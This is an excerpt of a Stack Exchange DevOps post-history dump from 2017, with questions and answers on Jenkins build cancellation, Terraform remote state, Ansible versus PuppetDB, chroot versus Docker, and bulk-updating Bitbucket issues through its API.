  <row Id="8795" PostHistoryTypeId="2" PostId="2820" RevisionGUID="40279869-3929-4c94-982c-c5fa2c0c1d4c" CreationDate="2017-12-07T16:57:05.057" UserId="736" Text="We have Jenkins running unit tests when commits are made to our repo in Bitbucket. This is controlled by the Bitbucket Plugin, ie via a Bitbucket webhook. &#xD;&#xA;&#xD;&#xA;Currently, if a commit is made to Branch A a unit test kicks off. If while that job is running a second commit is made to Branch A a second unit test will kick off, so there are now two unit tests on the same branch but with slightly different code. &#xD;&#xA;&#xD;&#xA;**Our preferred behavior is that the first commit's test would be aborted when the second test kicked off, so that only the most recent unit test is being run. Can this be achieved?**&#xD;&#xA;&#xD;&#xA;To clarify; We have many branches so we cannot just prevent concurrent builds, cancel the last as soon as the next starts, etc. Whatever method is used must specifically check if the *branch* already has a job running for it, not if the job in general is already running. &#xD;&#xA;&#xD;&#xA;I've seen some trigger controls for Git, but not Bitbucket. I also found a script to check if the job's already running and cancel it if so, but as mentioned before that doesn't suit our use case. Am I missing something?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8796" PostHistoryTypeId="1" PostId="2820" RevisionGUID="40279869-3929-4c94-982c-c5fa2c0c1d4c" CreationDate="2017-12-07T16:57:05.057" UserId="736" Text="Jenkins &amp; Bitbucket; cancel previous build if new commit made to same branch?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8797" PostHistoryTypeId="3" PostId="2820" RevisionGUID="40279869-3929-4c94-982c-c5fa2c0c1d4c" CreationDate="2017-12-07T16:57:05.057" UserId="736" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8798" PostHistoryTypeId="2" PostId="2821" RevisionGUID="21daec16-c174-4a88-9c59-88201fd5ea81" CreationDate="2017-12-07T18:28:17.467" UserId="47" Text="**Note:** this answer comes from my background of building custom solutions, it's not a config-only one, which, if available, would obviously be preferable. But it's maybe something to consider otherwise.&#xD;&#xA;&#xD;&#xA;You could teach the script executing the unit test job to persist a per-branch execution state.&#xD;&#xA;&#xD;&#xA;When the script is launched it would need to obtain the branch name from its invocation parameters. It would then obtain the persisted state for the branch. &#xD;&#xA;&#xD;&#xA;If the state is either missing or `not running` it would set it to `running + job ID`, execute the unit test and then set the state to `not running` (or delete it).&#xD;&#xA;&#xD;&#xA;If the state is `running + job ID` it means another unit test is already running and you have the corresponding job ID. The script can then (gracefully?) terminate the already running job by its ID and take it's place, updating the state to `running + new job ID`.&#xD;&#xA;&#xD;&#xA;But IMHO terminating a job in progress (which may be very close to completion) is not ideal - it leaves room for constantly killing jobs and launching news ones only to be, at their own turn, killed by subsequent jobs - all without actually completing any of them.&#xD;&#xA;&#xD;&#xA;Instead I'd modify the logic to:&#xD;&#xA;&#xD;&#xA;- leave the job in progress alone and instead just record in the persisted state a `pending job ID` (either a unique value, overwritten to reflect the most recent pending job submitted or a list of all pending jobs, sorted by submission time)&#xD;&#xA;- when the job in progress completes it checks the `pending job ID` values and, if any, launches the most recent one (or the oldest one, or even follow some other selection logic, if using a list)&#xD;&#xA;&#xD;&#xA;This approach avoids wasting unit test resources and can easily be adjusted even for more than one but still limited resources." ContentLicense="CC BY-SA 3.0" />
  <row Id="8799" PostHistoryTypeId="2" PostId="2822" RevisionGUID="a803113f-1074-4ad4-93d0-d4c1bbe5f34b" CreationDate="2017-12-07T20:22:25.767" UserId="5628" Text="You can use a remote backend as a data source. That is working well for us thus far but this project is not very mature and we will likely refactor a time or ten.&#xD;&#xA;&#xD;&#xA;    data &quot;terraform_remote_state&quot; &quot;network&quot; {&#xD;&#xA;      backend = &quot;s3&quot;&#xD;&#xA;      config {&#xD;&#xA;        // some variables related to config would likely go here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;then for the teams not managing the network to consume that data you could create an instance like (special attention to the `subnet_id` here):&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;oracle_ec2&quot; {&#xD;&#xA;      ami           = &quot;${lookup(var.ami, var.region)}&quot;&#xD;&#xA;      instance_type = &quot;${var.instance_type}&quot;&#xD;&#xA;      key_name      = &quot;${var.key_name}&quot;&#xD;&#xA;      subnet_id     = &quot;${data.terraform_remote_state.network.subnet_id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The network team should be able to manage the networking infrastructure and you should be able to consume those values based on current state. &#xD;&#xA;&#xD;&#xA;[Terraform Remote State Data Source][1]&#xD;&#xA;&#xD;&#xA;&gt; 2) If new instances launch as t2.large(Instance type passed as variable) while old ones run on t2.micro&#xD;&#xA;&#xD;&#xA;If you change the instance type from `t2.micro` to `t2.large` then yes the `t2.micro` instances will be destroyed and replaced with the `t2.large`. The name of the game is immutability outside of meta data changes like altering tags. Look into lifecycle hooks to alleviate some of this pain&#xD;&#xA;&#xD;&#xA;    lifecycle {&#xD;&#xA;      create_before_destroy = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&gt; will it recreate old instances too if I just increase the count&#xD;&#xA;&#xD;&#xA;No, current instances would not be destroyed. Terraform will check the state to see how many instances you currently have. If more instances are necessary, terraform will know how many instances to create and create the instances necessary&#xD;&#xA;&#xD;&#xA;&gt; Also, is there a way to automate this process i.e. append something like a template for new EC2 instance to existing .tf file.&#xD;&#xA;&#xD;&#xA;Not sure what exactly you mean by this one. What I will say is that having the data coupled to the instance itself makes instance immutability and using terraform more difficult. A (untested and unproven) thought and potential solution in my head is to:&#xD;&#xA;&#xD;&#xA;    //create an ebs volume&#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;oracle-data&quot; {&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    //attach that volume to the instance&#xD;&#xA;    resource &quot;aws_volume_attachment&quot; &quot;oracle-data-attachment&quot; {&#xD;&#xA;      ...&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;with some bash involved for an init script that creates and mounts the new volume to be used in conjunction with the `aws_volume_attachment` resource. That could potentially create a new instance preserving the EBS volume then reattaching it to the new instance.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/terraform/d/remote_state.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8800" PostHistoryTypeId="2" PostId="2823" RevisionGUID="529f8d85-5d62-47fb-9b12-edcb819dbba7" CreationDate="2017-12-08T05:05:03.177" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8801" PostHistoryTypeId="1" PostId="2823" RevisionGUID="529f8d85-5d62-47fb-9b12-edcb819dbba7" CreationDate="2017-12-08T05:05:03.177" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8802" PostHistoryTypeId="2" PostId="2824" RevisionGUID="ff07de3a-ad47-40e3-8e31-902a70051572" CreationDate="2017-12-08T05:05:03.177" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8803" PostHistoryTypeId="1" PostId="2824" RevisionGUID="ff07de3a-ad47-40e3-8e31-902a70051572" CreationDate="2017-12-08T05:05:03.177" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8804" PostHistoryTypeId="2" PostId="2825" RevisionGUID="8b289852-96d1-42f9-9837-2903c57df9de" CreationDate="2017-12-08T07:21:31.207" UserId="5639" Text="I know Puppet fro experience and have noticed that in configuration management there is now a strong trend towards Ansible.&#xD;&#xA;&#xD;&#xA;On the one hand, I understand that Ansible does not require an agent, because it makes intelligent use of `ssh`. &#xD;&#xA;&#xD;&#xA;On the other hand, these are features have come to like about Puppet:&#xD;&#xA;&#xD;&#xA; - access to system-wide configuration state and history (PuppetDB) via REST API&#xD;&#xA; - ability to keep backups of overwritten files (filebuckets)&#xD;&#xA; - ability to encrypt part of the Hiera configurations (`.eyaml`)&#xD;&#xA;&#xD;&#xA;Among these, PuppetDB seems to be the most important. Therefore my question is this: Does Ansible have something akin to PuppetDB, i.e. a component that offers an API where it could e.g. be asked &quot;What packages are installed on host *x*?&quot; or &quot;On which hosts is package *y* installed?&quot;&#xD;&#xA;&#xD;&#xA;(This question was migrated over from [StackOverflow][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/47688598/does-ansible-have-component-akin-to-puppetdb" ContentLicense="CC BY-SA 3.0" />
  <row Id="8805" PostHistoryTypeId="1" PostId="2825" RevisionGUID="8b289852-96d1-42f9-9837-2903c57df9de" CreationDate="2017-12-08T07:21:31.207" UserId="5639" Text="Does Ansible have component akin to PuppetDB?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8806" PostHistoryTypeId="3" PostId="2825" RevisionGUID="8b289852-96d1-42f9-9837-2903c57df9de" CreationDate="2017-12-08T07:21:31.207" UserId="5639" Text="&lt;ansible&gt;&lt;puppet&gt;&lt;scm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8807" PostHistoryTypeId="2" PostId="2826" RevisionGUID="2589ea95-006d-4644-bd70-8ef9c10c224f" CreationDate="2017-12-08T08:20:00.050" UserId="5641" Text="I don't understand the difference between docker and chroot. Yes its nice in terms of the packaging the registry. But somehow I get the feeling its just chroot with extra bells and whistles.&#xD;&#xA;&#xD;&#xA;I know I'm missing something. It'd would be great to know how they are different and the need of docker if chroot could do something similar.&#xD;&#xA;&#xD;&#xA;I couldn't find this [Chroot Vs Docker][1] clear enough either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/46450341/chroot-vs-docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8808" PostHistoryTypeId="1" PostId="2826" RevisionGUID="2589ea95-006d-4644-bd70-8ef9c10c224f" CreationDate="2017-12-08T08:20:00.050" UserId="5641" Text="Difference between chroot and Docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="8809" PostHistoryTypeId="3" PostId="2826" RevisionGUID="2589ea95-006d-4644-bd70-8ef9c10c224f" CreationDate="2017-12-08T08:20:00.050" UserId="5641" Text="&lt;docker&gt;&lt;linux&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8810" PostHistoryTypeId="2" PostId="2827" RevisionGUID="b47a6eca-7174-40f3-86c2-a4e06660e46e" CreationDate="2017-12-08T08:24:06.967" UserId="5641" Text="I would like to know when it would be ideal to use Jobs over Tasks. What I mean is there are situations where we could run tasks within a job that are not dependant to each other in parallel, which I feel is the same as Running different Jobs. Hence the confusion." ContentLicense="CC BY-SA 3.0" />
  <row Id="8811" PostHistoryTypeId="1" PostId="2827" RevisionGUID="b47a6eca-7174-40f3-86c2-a4e06660e46e" CreationDate="2017-12-08T08:24:06.967" UserId="5641" Text="Usage of Tasks vs Jobs in Concourse CI" ContentLicense="CC BY-SA 3.0" />
  <row Id="8812" PostHistoryTypeId="3" PostId="2827" RevisionGUID="b47a6eca-7174-40f3-86c2-a4e06660e46e" CreationDate="2017-12-08T08:24:06.967" UserId="5641" Text="&lt;continuous-integration&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8813" PostHistoryTypeId="2" PostId="2828" RevisionGUID="7e2fea69-c387-4c5d-a677-39896b4619c1" CreationDate="2017-12-08T08:28:30.763" UserId="3509" Text="The direct answer is &quot;no&quot;.&#xD;&#xA;&#xD;&#xA;Ansible does not have any database, because it is supposed to be run by different operators from different computers and it's purpose is to be sure that target systems are in the exact state, as specified in playbooks.&#xD;&#xA;&#xD;&#xA;There's an option to attach external [facts cache][1] backends to Ansible. So you can setup redis as your cache, Ansible will populate it with gathered facts during playbook run and you can later query redis for them. But it is very limited solution, because there are not too much facts gathered by Ansible, for example there are no information about installed packages – you will have to gather them yourself an use `set_fact` with `cacheable` option to put them into external cache.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/playbooks_variables.html#fact-caching" ContentLicense="CC BY-SA 3.0" />
  <row Id="8814" PostHistoryTypeId="5" PostId="2825" RevisionGUID="b30dd78f-fd54-4a52-94fb-8275500f6b4a" CreationDate="2017-12-08T08:37:36.930" UserId="5639" Comment="added 11 characters in body" Text="I know Puppet from (limited) experience and have noticed that in configuration management there is now a strong trend towards Ansible.&#xD;&#xA;&#xD;&#xA;On the one hand, I understand that Ansible does not require an agent, because it makes intelligent use of `ssh`. &#xD;&#xA;&#xD;&#xA;On the other hand, these are features have come to like about Puppet:&#xD;&#xA;&#xD;&#xA; - access to system-wide configuration state and history (PuppetDB) via REST API&#xD;&#xA; - ability to keep backups of overwritten files (filebuckets)&#xD;&#xA; - ability to encrypt part of the Hiera configurations (`.eyaml`)&#xD;&#xA;&#xD;&#xA;Among these, PuppetDB seems to me the most important and useful (e.g. for integration with other tools). Therefore my question is this: Does Ansible have something akin to PuppetDB, i.e. a component that offers an API where it could e.g. be asked &quot;What packages are installed on host *x*?&quot; or &quot;On which hosts is package *y* installed?&quot;&#xD;&#xA;&#xD;&#xA;(This question was migrated over from [StackOverflow][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/47688598/does-ansible-have-component-akin-to-puppetdb" ContentLicense="CC BY-SA 3.0" />
  <row Id="8815" PostHistoryTypeId="6" PostId="2825" RevisionGUID="b30dd78f-fd54-4a52-94fb-8275500f6b4a" CreationDate="2017-12-08T08:37:36.930" UserId="5639" Comment="added 11 characters in body" Text="&lt;ansible&gt;&lt;configuration-management&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8816" PostHistoryTypeId="2" PostId="2829" RevisionGUID="4af39f04-ecab-4fee-bb82-62cb86cf1212" CreationDate="2017-12-08T08:44:27.413" UserId="13" Text="Well, the extra bells and whistles is called process isolation, a container gets its own [namespace][1] from the host kernel, that means the program in the container can't try to read kernel memory or eat more RAM than allowed.&#xD;&#xA;&#xD;&#xA;It also isolate network stacks, so two process can listen on port 8080 for exemple,&#xD;&#xA;you'll have to handle the routing at host level, there's no magic here, but this allow handling the routing at one place and avoid modifying the process configuration to listen to a free port.&#xD;&#xA;&#xD;&#xA;Secondly a chroot is still read/write, any change is permanent, a docker container using `aufs` will start from a clean filesystem each time you launch the container (changes are kept if you stop/start it IIRC).&#xD;&#xA;&#xD;&#xA;So well a container could be thinked about as process namespace + chroot, but the reality is a little more complex.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Linux_namespaces" ContentLicense="CC BY-SA 3.0" />
  <row Id="8817" PostHistoryTypeId="5" PostId="2825" RevisionGUID="921ee207-36e9-49a5-aeda-d6baf08c3d4e" CreationDate="2017-12-08T08:50:20.370" UserId="5639" Comment="added 297 characters in body" Text="I know Puppet from (limited) experience and have noticed that in configuration management there is now a strong trend towards Ansible.&#xD;&#xA;&#xD;&#xA;On the one hand, I understand that Ansible does not require an agent, because it makes intelligent use of `ssh`. &#xD;&#xA;&#xD;&#xA;On the other hand, these are features have come to like about Puppet:&#xD;&#xA;&#xD;&#xA; - access to system-wide configuration state and history (PuppetDB) via REST API&#xD;&#xA; - ability to keep backups of overwritten files (filebuckets)&#xD;&#xA; - ability to encrypt part of the Hiera configurations (`.eyaml`)&#xD;&#xA;&#xD;&#xA;Among these, PuppetDB seems to me the most important and useful (e.g. for integration with other tools). Therefore my question is this: Does Ansible have something akin to PuppetDB, i.e. a component that offers an API where it could e.g. be asked &quot;What packages are installed on host *x*?&quot; or &quot;On which hosts is package *y* installed?&quot;&#xD;&#xA;&#xD;&#xA;(This question was migrated over from [StackOverflow][1]).&#xD;&#xA;&#xD;&#xA;**UPDATE** Significant downside of Puppet it my experience so far: Not so much the fact that it requires an agent (from what I have seen, Ansible's use of Python also introduces an agent of sorts in the form of a Python interpreter ;-), but that it wants to run its agent as `root` only and always.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/47688598/does-ansible-have-component-akin-to-puppetdb" ContentLicense="CC BY-SA 3.0" />
  <row Id="8818" PostHistoryTypeId="2" PostId="2830" RevisionGUID="c1f34365-4072-4efd-ae45-2401bafd3e20" CreationDate="2017-12-08T08:54:52.943" UserId="4175" Text="Yes, there absolutely is more to it than `chroot` to the point that they have little to nothing in common.&#xD;&#xA;&#xD;&#xA;- A standardized script file format including semantics relating to the task a hand&#xD;&#xA;- Images (including anonymous in-between images), caching, naming, downloading etc. including powerful management (`docker image prune` ...)&#xD;&#xA;- Containers (including their own temporary file systems, naming, being able to `docker exec` into them etc.)&#xD;&#xA;- Process management (`docker container ...`)&#xD;&#xA;- Networking with just a simple option, including intra-docker-container-networking etc.&#xD;&#xA;- Volumes (including special managed volumes)&#xD;&#xA;- `docker-compose` or swarm as low-profile upgrades to much more.&#xD;&#xA;- The large zoo of other solutions based on dockerized containers (OpenShift etc.).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8819" PostHistoryTypeId="6" PostId="2807" RevisionGUID="4b6abee4-7138-446c-b098-0b892bab054c" CreationDate="2017-12-08T09:04:11.353" UserId="210" Comment="edited tags" Text="&lt;authentication&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8820" PostHistoryTypeId="2" PostId="2831" RevisionGUID="8407204d-f30f-4b73-8fcd-7ac5b639e249" CreationDate="2017-12-08T09:05:42.400" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8821" PostHistoryTypeId="1" PostId="2831" RevisionGUID="8407204d-f30f-4b73-8fcd-7ac5b639e249" CreationDate="2017-12-08T09:05:42.400" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8822" PostHistoryTypeId="2" PostId="2832" RevisionGUID="9b7309f2-c37b-4d18-89f0-77ac7236b71b" CreationDate="2017-12-08T09:05:42.400" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8823" PostHistoryTypeId="1" PostId="2832" RevisionGUID="9b7309f2-c37b-4d18-89f0-77ac7236b71b" CreationDate="2017-12-08T09:05:42.400" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8824" PostHistoryTypeId="5" PostId="2807" RevisionGUID="4b6abee4-7138-446c-b098-0b892bab054c" CreationDate="2017-12-08T09:04:11.353" UserId="210" Comment="edited tags" Text="I want to manage the members of our team who are able to log into our cloud-hosted VMs, both Linux and Windows.  We currently use [G Suite][1] and [GitHub][2], to manage access to our code and documentation etc. I would really prefer to not have to also manage a separate Active Directory Domain within our VNets or deal with revoking ssh keys or updating multiple usernames/passwords on every single VM we deploy.&#xD;&#xA;&#xD;&#xA;Are there ways to use either GSuite or Github to control login access to our VMs?&#xD;&#xA;&#xD;&#xA;If there isn't, what are the best practices to deal with 20+ developers who are all empowered with DevOps responsibilities?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://gsuite.google.com&#xD;&#xA;  [2]: https://github.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8825" PostHistoryTypeId="5" PostId="2824" RevisionGUID="cced59e9-4359-40ff-8e5d-066292692cf4" CreationDate="2017-12-08T10:23:16.480" UserId="47" Comment="added 175 characters in body" Text="For questions about Atlassian's Jira Software (aka Jira), originally an issue tracking tool which evolved into a full-blown software project management system for agile teams." ContentLicense="CC BY-SA 3.0" />
  <row Id="8826" PostHistoryTypeId="24" PostId="2824" RevisionGUID="cced59e9-4359-40ff-8e5d-066292692cf4" CreationDate="2017-12-08T10:23:16.480" Comment="Proposed by 47 approved by 40, 707 edit id of 559" ContentLicense="CC BY-SA 3.0" />
  <row Id="8831" PostHistoryTypeId="2" PostId="2834" RevisionGUID="4fc8185b-a752-4574-b41f-7ff027c844ef" CreationDate="2017-12-08T15:04:00.073" UserId="5363" Text="Currently I build my app with maven and use the tomcat manager to hot deploy the war file (both on windows servers).&#xD;&#xA;&#xD;&#xA;Now I want to use ansible to move away from the manual process.&#xD;&#xA;&#xD;&#xA;1. Would it make sense to build with ansible? My assumption is, that id does not.&#xD;&#xA;2. How could I use the tomcat manager to hot deploy, triggered by ansible. I have searched the web but I did not find a solution.&#xD;&#xA;3. Is there an other option to hot deploy the war file, which I might have overseen?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8832" PostHistoryTypeId="1" PostId="2834" RevisionGUID="4fc8185b-a752-4574-b41f-7ff027c844ef" CreationDate="2017-12-08T15:04:00.073" UserId="5363" Text="How to hot deploy to tomcat with ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="8833" PostHistoryTypeId="3" PostId="2834" RevisionGUID="4fc8185b-a752-4574-b41f-7ff027c844ef" CreationDate="2017-12-08T15:04:00.073" UserId="5363" Text="&lt;ansible&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8834" PostHistoryTypeId="5" PostId="2817" RevisionGUID="da508571-e7ec-4475-a7ed-0669dd39f4d2" CreationDate="2017-12-08T15:25:03.607" UserId="40" Comment="added 71 characters in body" Text="If a question is related to microservices, then this tag could be used." ContentLicense="CC BY-SA 3.0" />
  <row Id="8835" PostHistoryTypeId="24" PostId="2817" RevisionGUID="da508571-e7ec-4475-a7ed-0669dd39f4d2" CreationDate="2017-12-08T15:25:03.607" Comment="Proposed by 40 approved by 707, 13 edit id of 558" ContentLicense="CC BY-SA 3.0" />
  <row Id="8836" PostHistoryTypeId="5" PostId="2832" RevisionGUID="e4541138-92e9-4d2e-b63f-92c73be1e158" CreationDate="2017-12-08T15:25:09.283" UserId="210" Comment="added 93 characters in body" Text="Use this tag if a question is about authenticating or login to a service, e.g. google, github" ContentLicense="CC BY-SA 3.0" />
  <row Id="8837" PostHistoryTypeId="24" PostId="2832" RevisionGUID="e4541138-92e9-4d2e-b63f-92c73be1e158" CreationDate="2017-12-08T15:25:09.283" Comment="Proposed by 210 approved by 707, 13 edit id of 560" ContentLicense="CC BY-SA 3.0" />
  <row Id="8840" PostHistoryTypeId="5" PostId="2834" RevisionGUID="f1be9add-5408-4581-8f07-741cbf6434e9" CreationDate="2017-12-08T16:52:46.663" UserId="47" Comment="fixed typo" Text="Currently I build my app with maven and use the tomcat manager to hot deploy the war file (both on windows servers).&#xD;&#xA;&#xD;&#xA;Now I want to use ansible to move away from the manual process.&#xD;&#xA;&#xD;&#xA;1. Would it make sense to build with ansible? My assumption is, that it does not.&#xD;&#xA;2. How could I use the tomcat manager to hot deploy, triggered by ansible. I have searched the web but I did not find a solution.&#xD;&#xA;3. Is there an other option to hot deploy the war file, which I might have overseen?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8844" PostHistoryTypeId="2" PostId="2836" RevisionGUID="2b7589b1-b946-4e85-9c16-bbddf9ebe8a9" CreationDate="2017-12-08T19:36:09.560" UserId="210" Text="**Background:** There are multiple Bitbucket Repository Issues (BRI). If an issue needs to be edited then an edit button could be clicked and several items, e.g. title and priority could be changed. This works well when some issues need to be changed, but when more than 250 issues need to be changed this approach is tedious.&#xD;&#xA;&#xD;&#xA;**Aim:** to update all BRI at once.&#xD;&#xA;&#xD;&#xA;**Method:** The current method is to update the issues manually, but when multiple issues need to be updated then it is time consuming. Another approach could be using the API.&#xD;&#xA;&#xD;&#xA;**Discussion:** As mentioned in the method section, perhaps the API could be used to close all BRI at once, but according to the [API documentation][1] there seems to be no update option.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;*Why create this Q&amp;A on DevOps?*: The reason is that the ultimate goal is to close an issue in bitbucket by Jenkins when a pull request has been merged. If updating issues using the API works then that will hopefully work as well.&#xD;&#xA;&#xD;&#xA;**Conclusion/question:** It is possible to update all BRI at once?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/bitbucket/api/2/reference/resource/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7F1Lf.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8845" PostHistoryTypeId="1" PostId="2836" RevisionGUID="2b7589b1-b946-4e85-9c16-bbddf9ebe8a9" CreationDate="2017-12-08T19:36:09.560" UserId="210" Text="How to update all Bitbucket Repository Issues at once?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8846" PostHistoryTypeId="3" PostId="2836" RevisionGUID="2b7589b1-b946-4e85-9c16-bbddf9ebe8a9" CreationDate="2017-12-08T19:36:09.560" UserId="210" Text="&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8847" PostHistoryTypeId="5" PostId="2836" RevisionGUID="d157f27e-6a2c-4dd5-9ccf-d86983c9d749" CreationDate="2017-12-08T19:41:38.793" UserId="210" Comment="added 160 characters in body" Text="**Background:** There are multiple Bitbucket Repository Issues (BRI). If an issue needs to be edited then an edit button could be clicked and several items, e.g. title and priority could be changed. This works well when some issues need to be changed, but when more than 250 issues need to be changed this approach is tedious.&#xD;&#xA;&#xD;&#xA;**Aim:** to update all BRI at once.&#xD;&#xA;&#xD;&#xA;**Method:** The current method is to update the issues manually, but when multiple issues need to be updated then it is time consuming. Another approach could be using the API.&#xD;&#xA;&#xD;&#xA;*Consulting the API:* `curl -X POST -u &quot;&lt;TOKEN&gt;&quot; https://api.bitbucket.org/2.0/repositories/&lt;username&gt;/&lt;repository-name&gt;/issues?` did not return any issues.&#xD;&#xA;&#xD;&#xA;**Discussion:** As mentioned in the method section, perhaps the API could be used to close all BRI at once, but according to the [API documentation][1] there seems to be no update option.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;*Why create this Q&amp;A on DevOps?*: The reason is that the ultimate goal is to close an issue in bitbucket by Jenkins when a pull request has been merged. If updating issues using the API works then that will hopefully work as well.&#xD;&#xA;&#xD;&#xA;**Conclusion/question:** It is possible to update all BRI at once?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/bitbucket/api/2/reference/resource/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7F1Lf.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8850" PostHistoryTypeId="5" PostId="2836" RevisionGUID="dedae8dd-f6e6-4d43-b04f-ac422bc8e22f" CreationDate="2017-12-08T20:29:26.647" UserId="210" Comment="added 391 characters in body" Text="**Background:** There are multiple Bitbucket Repository Issues (BRI). If an issue needs to be edited then an edit button could be clicked and several items, e.g. title and priority could be changed. This works well when some issues need to be changed, but when more than 250 issues need to be changed this approach is tedious.&#xD;&#xA;&#xD;&#xA;**Aim:** to update all BRI at once.&#xD;&#xA;&#xD;&#xA;**Method:** The current method is to update the issues manually, but when multiple issues need to be updated then it is time consuming. Another approach could be using the API.&#xD;&#xA;&#xD;&#xA;*Consulting the API:* `curl -X POST -u &quot;&lt;TOKEN&gt;&quot; https://api.bitbucket.org/2.0/repositories/&lt;username&gt;/&lt;repository-name&gt;/issues?` did not return any issues.&#xD;&#xA;&#xD;&#xA;In order to update all the issue the following was tried:&#xD;&#xA;&#xD;&#xA;    curl -H &quot;Authorization: Bearer &lt;access-token&gt;&quot; https://api.bitbucket.org/2.0/repositories/&lt;username&gt;/&lt;repository&gt;/issues -d &quot;priority=trivial&quot; -X POST&#xD;&#xA;&#xD;&#xA;Instead of updating all BRI, the following was returned:&#xD;&#xA;&#xD;&#xA;    {&quot;type&quot;: &quot;error&quot;, &quot;error&quot;: {&quot;fields&quot;: {&quot;title&quot;: &quot;required key not provided&quot;}, &quot;message&quot;: &quot;Bad request&quot;}}&#xD;&#xA;&#xD;&#xA;**Discussion:** As mentioned in the method section, perhaps the API could be used to close all BRI at once, but according to the [API documentation][1] there seems to be no update option.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;*Why create this Q&amp;A on DevOps?*: The reason is that the ultimate goal is to close an issue in bitbucket by Jenkins when a pull request has been merged. If updating issues using the API works then that will hopefully work as well.&#xD;&#xA;&#xD;&#xA;**Conclusion/question:** It is possible to update all BRI at once?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developer.atlassian.com/bitbucket/api/2/reference/resource/&#xD;&#xA;  [2]: https://i.stack.imgur.com/7F1Lf.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8854" PostHistoryTypeId="2" PostId="2838" RevisionGUID="b33fc921-f139-4c75-ac10-ce416af03dec" CreationDate="2017-12-08T20:54:47.260" UserId="210" Text="At the moment it seems not be possible to update all issues at once using the API and therefore [this issue][1] has been created.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/site/master/issues/15338" ContentLicense="CC BY-SA 3.0" />
  <row Id="8855" PostHistoryTypeId="34" PostId="2743" RevisionGUID="345cf684-d238-448a-ac25-be2a811db68c" CreationDate="2017-12-09T10:57:07.430" UserId="210" Comment="11" />
  <row Id="8856" PostHistoryTypeId="2" PostId="2839" RevisionGUID="2f253db8-1088-49c1-bf90-8c2905876742" CreationDate="2017-12-09T15:45:46.573" UserId="210" Text="[CIO][1]&#xD;&#xA;&#xD;&#xA;&gt; Chief information officer (CIO), chief digital information officer&#xD;&#xA;&gt; (CDIO) or information technology (IT) director, is a job title&#xD;&#xA;&gt; commonly given to the most senior executive in an enterprise&#xD;&#xA;&gt; responsible for the information technology and computer systems that&#xD;&#xA;&gt; support enterprise goals.&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA; &#xD;&#xA;&gt; CIOs manage a business’s IT systems and functions, creates and&#xD;&#xA;&gt; delivers strategies and policies, and places great emphasis on&#xD;&#xA;&gt; internal customers.&#xD;&#xA;&#xD;&#xA;[CTO][2]&#xD;&#xA;&#xD;&#xA;&gt; A chief technology officer (CTO), sometimes known as a chief technical&#xD;&#xA;&gt; officer, is an executive-level position in a company or other entity&#xD;&#xA;&gt; whose occupation is focused on scientific and technological issues&#xD;&#xA;&gt; within an 